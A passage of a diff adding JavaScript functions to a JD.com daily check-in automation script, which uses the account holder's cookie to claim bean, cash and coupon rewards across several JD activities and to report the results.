params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid) { + return console.log(`\n${title} >> 可能需要拼图验证, 跳过签到 ⚠️`); + await new Promise(resolve => { + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=ztmFUCxcPMNyUq0P`, + headers: { + Cookie: KEY + } + }, function(error, response, data) { + resolve() + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=ztmFUCxcPMNyUq0P', + headers: { + lkt: '1629984131120', + lks: 'd7db92cf40ad5a8d54b9da2b561c5f84', + Cookie: KEY + }, + body: `turnTableId=${tid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 �` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if 